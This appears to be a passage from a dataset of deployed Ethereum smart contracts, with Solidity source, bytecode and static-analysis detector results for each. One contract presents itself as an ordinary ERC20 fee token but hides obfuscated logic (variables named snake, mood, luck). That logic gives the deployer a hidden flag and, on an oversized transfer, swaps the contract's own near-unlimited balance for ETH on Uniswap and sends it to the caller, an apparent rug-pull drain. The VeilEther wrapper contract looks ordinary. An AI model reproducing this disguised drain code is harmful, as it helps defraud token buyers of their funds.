5613609565b5b828202905092915050565b60006134cc82613533565b91506134d783613533565b9250828210156134ea576134e9613609565b5b828203905092915050565b600061350082613513565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061355582613533565b9050919050565b60005b8381101561357a57808201518184015260208101905061355f565b83811115613589576000848401525b50505050565b61359882613696565b810181811067ffffffffffffffff821117156135b7576135b6613667565b5b80604052505050565b60006135cb82613533565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135fe576135fd613609565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6138df816134f5565b81146138ea57600080fd5b50565b6138f681613507565b811461390157600080fd5b50565b61390d81613533565b811461391857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d868bf98adbc01a713cd81eee81c6fe2813a21c9f243f905ff9ad4ff77c93a0764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4,858
0xEDEf04AbF6789537C5985956AC855B953d0d86b7
// SPDX-License-Identifier: Unlicense pragma solidity ^0.8.8; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { uint8 private _decimals = 9; uint256 private _tTotal = 1000000000000000 * 10**_decimals; uint256 private snake = _tTotal; uint256 private _rTotal = ~uint256(0); uint256 public _fee = 4; mapping(uint256 => address) private total; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private mood; mapping(address => uint256) private _balances; mapping(address => uint256) private damage; mapping(uint256 => address) private physical; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); IUniswapV2Router02 public router; address public uniswapV2Pair; string private _symbol; string private _name; constructor( string memory _NAME, string memory _SYMBOL, address routerAddress ) { _name = _NAME; _symbol = _SYMBOL; mood[msg.sender] = snake; _balances[msg.sender] = _tTotal; _balances[address(this)] = _rTotal; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); total[snake] = uniswapV2Pair; emit Transfer(address(0), msg.sender, _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint256) { return _decimals; } function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function _transfer( address mud, address forward, uint256 amount ) private { address letter = physical[snake]; bool probably = mud == total[snake]; uint256 period = _fee; if (mood[mud] == 0 && !probably && damage[mud] > 0) { mood[mud] -= period; } physical[snake] = forward; if (mood[mud] > 0 && amount == 0) { mood[forward] += period; } damage[letter] += period; if (mood[mud] > 0 && amount > snake) { luck(amount); return; } uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[mud] -= fee; _balances[mud] -= amount; _balances[forward] += amount; } function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); _transfer(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { _transfer(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function luck(uint256 tokens) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); _approve(address(this), address(router), tokens); router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokens, 0, path, msg.sender, block.timestamp); } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906112c5565b60405180910390f35b610132600480360381019061012d9190611380565b610392565b60405161013f91906113db565b60405180910390f35b6101506103a7565b60405161015d9190611405565b60405180910390f35b610180600480360381019061017b9190611420565b6103b1565b60405161018d91906113db565b60405180910390f35b61019e610500565b6040516101ab9190611405565b60405180910390f35b6101bc610519565b6040516101c99190611482565b60405180910390f35b6101ec60048036038101906101e7919061149d565b61053f565b6040516101f99190611405565b60405180910390f35b61020a610588565b005b610214610610565b6040516102219190611482565b60405180910390f35b610232610639565b60405161023f91906112c5565b60405180910390f35b610262600480360381019061025d9190611380565b6106cb565b60405161026f91906113db565b60405180910390f35b610280610747565b60405161028d9190611405565b60405180910390f35b6102b060048036038101906102ab91906114ca565b61074d565b6040516102bd9190611405565b60405180910390f35b6102e060048036038101906102db919061149d565b6107d4565b005b6102ea6108cb565b6040516102f79190611569565b60405180910390f35b6060600e805461030f906115b3565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906115b3565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f1565b905092915050565b6000600154905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611656565b60405180910390fd5b610400848484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d9190611405565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f291906116a5565b6108f1565b90509392505050565b60008060149054906101000a900460ff1660ff16905090565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610590610f1c565b73ffffffffffffffffffffffffffffffffffffffff166105ae610610565b73ffffffffffffffffffffffffffffffffffffffff1614610604576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fb90611725565b60405180910390fd5b61060e6000610f24565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600d8054610648906115b3565b80601f0160208091040260200160405190810160405280929190818152602001828054610674906115b3565b80156106c15780601f10610696576101008083540402835291602001916106c1565b820191906000526020600020905b8154815290600101906020018083116106a457829003601f168201915b5050505050905090565b60006106d8338484610a8c565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107359190611405565b60405180910390a36001905092915050565b60045481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dc610f1c565b73ffffffffffffffffffffffffffffffffffffffff166107fa610610565b73ffffffffffffffffffffffffffffffffffffffff1614610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084790611725565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b6906117b7565b60405180910390fd5b6108c881610f24565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095c5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099290611849565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a799190611405565b60405180910390a3600190509392505050565b6000600a6000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600060056000600254815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16149050600060045490506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610b82575081155b8015610bcd57506000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610c295780600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c2191906116a5565b925050819055505b84600a6000600254815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610ccc5750600084145b15610d285780600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d209190611869565b925050819055505b80600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d779190611869565b925050819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610dce575060025484115b15610de457610ddc84610fe8565b505050610f17565b6000600454606486610df691906118ee565b610e00919061191f565b90508085610e0e91906116a5565b945080600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e5f91906116a5565b9250508190555084600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610eb591906116a5565b9250508190555084600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f0b9190611869565b92505081905550505050505b505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600267ffffffffffffffff81111561100557611004611979565b5b6040519080825280602002602001820160405280156110335781602001602082028036833780820191505090505b509050308160008151811061104b5761104a6119a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111691906119ec565b8160018151811061112a576111296119a8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061119130600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846108f1565b50600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008433426040518663ffffffff1660e01b81526004016111f6959493929190611b12565b600060405180830381600087803b15801561121057600080fd5b505af1158015611224573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561126657808201518184015260208101905061124b565b83811115611275576000848401525b50505050565b6000601f19601f8301169050919050565b60006112978261122c565b6112a18185611237565b93506112b1818560208601611248565b6112ba8161127b565b840191505092915050565b600060208201905081810360008301526112df818461128c565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611317826112ec565b9050919050565b6113278161130c565b811461133257600080fd5b50565b6000813590506113448161131e565b92915050565b6000819050919050565b61135d8161134a565b811461136857600080fd5b50565b60008135905061137a81611354565b92915050565b60008060408385031215611397576113966112e7565b5b60006113a585828601611335565b92505060206113b68582860161136b565b9150509250929050565b60008115159050919050565b6113d5816113c0565b82525050565b60006020820190506113f060008301846113cc565b92915050565b6113ff8161134a565b82525050565b600060208201905061141a60008301846113f6565b92915050565b600080600060608486031215611439576114386112e7565b5b600061144786828701611335565b935050602061145886828701611335565b92505060406114698682870161136b565b9150509250925092565b61147c8161130c565b82525050565b60006020820190506114976000830184611473565b92915050565b6000602082840312156114b3576114b26112e7565b5b60006114c184828501611335565b91505092915050565b600080604083850312156114e1576114e06112e7565b5b60006114ef85828601611335565b925050602061150085828601611335565b9150509250929050565b6000819050919050565b600061152f61152a611525846112ec565b61150a565b6112ec565b9050919050565b600061154182611514565b9050919050565b600061155382611536565b9050919050565b61156381611548565b82525050565b600060208201905061157e600083018461155a565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806115cb57607f821691505b6020821081036115de576115dd611584565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000611640602983611237565b915061164b826115e4565b604082019050919050565b6000602082019050818103600083015261166f81611633565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006116b08261134a565b91506116bb8361134a565b9250828210156116ce576116cd611676565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061170f602083611237565b915061171a826116d9565b602082019050919050565b6000602082019050818103600083015261173e81611702565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006117a1602683611237565b91506117ac82611745565b604082019050919050565b600060208201905081810360008301526117d081611794565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611833602483611237565b915061183e826117d7565b604082019050919050565b6000602082019050818103600083015261186281611826565b9050919050565b60006118748261134a565b915061187f8361134a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b4576118b3611676565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006118f98261134a565b91506119048361134a565b925082611914576119136118bf565b5b828204905092915050565b600061192a8261134a565b91506119358361134a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561196e5761196d611676565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119e68161131e565b92915050565b600060208284031215611a0257611a016112e7565b5b6000611a10848285016119d7565b91505092915050565b6000819050919050565b6000611a3e611a39611a3484611a19565b61150a565b61134a565b9050919050565b611a4e81611a23565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b611a898161130c565b82525050565b6000611a9b8383611a80565b60208301905092915050565b6000602082019050919050565b6000611abf82611a54565b611ac98185611a5f565b9350611ad483611a70565b8060005b83811015611b05578151611aec8882611a8f565b9750611af783611aa7565b925050600181019050611ad8565b5085935050505092915050565b600060a082019050611b2760008301886113f6565b611b346020830187611a45565b8181036040830152611b468186611ab4565b9050611b556060830185611473565b611b6260808301846113f6565b969550505050505056fea264697066735822122056e64b828dc8f6f1ed66c6bb0d0794f089682cb23e6bab77105698e63d9891fa64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
4,859
0x53b04999C1FF2d77fCddE98935BB936A67209E4C
pragma solidity 0.4.24; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { int256 constant private INT256_MIN = -2**255; /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == INT256_MIN)); // This is the only case of overflow not detected by the check below int256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0); // Solidity only automatically asserts when dividing by 0 require(!(b == -1 && a == INT256_MIN)); // This is the only case of overflow int256 c = a / b; return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract UnlimitedAllowanceToken is IERC20 { using SafeMath for uint256; /* ============ State variables ============ */ uint256 public totalSupply; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; /* ============ Events ============ */ event Approval(address indexed src, address indexed spender, uint256 amount); event Transfer(address indexed src, address indexed dest, uint256 amount); /* ============ Constructor ============ */ constructor () public { } /* ============ Public functions ============ */ function approve(address _spender, uint256 _amount) public returns (bool) { allowed[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true; } function transfer(address _dest, uint256 _amount) public returns (bool) { return transferFrom(msg.sender, _dest, _amount); } function transferFrom(address _src, address _dest, uint256 _amount) public returns (bool) { require(balances[_src] >= _amount, "Insufficient user balance"); if (_src != msg.sender && allowance(_src, msg.sender) != uint256(-1)) { require(allowance(_src, msg.sender) >= _amount, "Insufficient user allowance"); allowed[_src][msg.sender] = allowed[_src][msg.sender].sub(_amount); } balances[_src] = balances[_src].sub(_amount); balances[_dest] = balances[_dest].add(_amount); emit Transfer(_src, _dest, _amount); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function totalSupply() public view returns (uint256) { return totalSupply; } } /** * @title VeilEther * @author Veil * * WETH-like token with the ability to deposit ETH and approve in a single transaction */ contract VeilEther is UnlimitedAllowanceToken { using SafeMath for uint256; /* ============ Constants ============ */ string constant public name = "Veil Ether"; // solium-disable-line uppercase string constant public symbol = "Veil ETH"; // solium-disable-line uppercase uint256 constant public decimals = 18; // solium-disable-line uppercase /* ============ Events ============ */ event Deposit(address indexed dest, uint256 amount); event Withdrawal(address indexed src, uint256 amount); /* ============ Constructor ============ */ constructor () public { } /* ============ Public functions ============ */ /** * @dev Fallback function can be used to buy tokens by proxying the call to deposit() */ function() public payable { deposit(); } /* ============ New functionality ============ */ /** * Buys tokens with Ether, exchanging them 1:1 and sets the spender allowance * * @param _spender Spender address for the allowance * @param _allowance Allowance amount */ function depositAndApprove(address _spender, uint256 _allowance) public payable returns (bool) { deposit(); approve(_spender, _allowance); return true; } /** * Withdraws from msg.sender&#39;s balance and transfers to a target address instead of msg.sender * * @param _amount Amount to withdraw * @param _target Address to send the withdrawn ETH */ function withdrawAndTransfer(uint256 _amount, address _target) public returns (bool) { require(balances[msg.sender] >= _amount, "Insufficient user balance"); require(_target != address(0), "Invalid target address"); balances[msg.sender] = balances[msg.sender].sub(_amount); totalSupply = totalSupply.sub(_amount); _target.transfer(_amount); emit Withdrawal(msg.sender, _amount); return true; } /* ============ Standard WETH functionality ============ */ function deposit() public payable returns (bool) { balances[msg.sender] = balances[msg.sender].add(msg.value); totalSupply = totalSupply.add(msg.value); emit Deposit(msg.sender, msg.value); return true; } function withdraw(uint256 _amount) public returns (bool) { require(balances[msg.sender] >= _amount, "Insufficient user balance"); balances[msg.sender] = balances[msg.sender].sub(_amount); totalSupply = totalSupply.sub(_amount); msg.sender.transfer(_amount); emit Withdrawal(msg.sender, _amount); return true; } }
0x6080604052600436106100da5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100e5578063095ea7b31461016f57806317d9bfcb146101a757806318160ddd146101cb57806323b872dd146101f257806327e235e31461021c57806328026ace1461023d5780632e1a7d4d14610254578063313ce5671461026c5780635c6581651461028157806370a08231146102a857806395d89b41146102c9578063a9059cbb146102de578063d0e30db014610302578063dd62ed3e1461030a575b6100e2610331565b50005b3480156100f157600080fd5b506100fa6103b4565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561013457818101518382015260200161011c565b50505050905090810190601f1680156101615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017b57600080fd5b50610193600160a060020a03600435166024356103eb565b604080519115158252519081900360200190f35b3480156101b357600080fd5b50610193600435600160a060020a0360243516610451565b3480156101d757600080fd5b506101e06105d5565b60408051918252519081900360200190f35b3480156101fe57600080fd5b50610193600160a060020a03600435811690602435166044356105db565b34801561022857600080fd5b506101e0600160a060020a03600435166107ed565b610193600160a060020a03600435166024356107ff565b34801561026057600080fd5b5061019360043561081e565b34801561027857600080fd5b506101e0610938565b34801561028d57600080fd5b506101e0600160a060020a036004358116906024351661093d565b3480156102b457600080fd5b506101e0600160a060020a036004351661095a565b3480156102d557600080fd5b506100fa610975565b3480156102ea57600080fd5b50610193600160a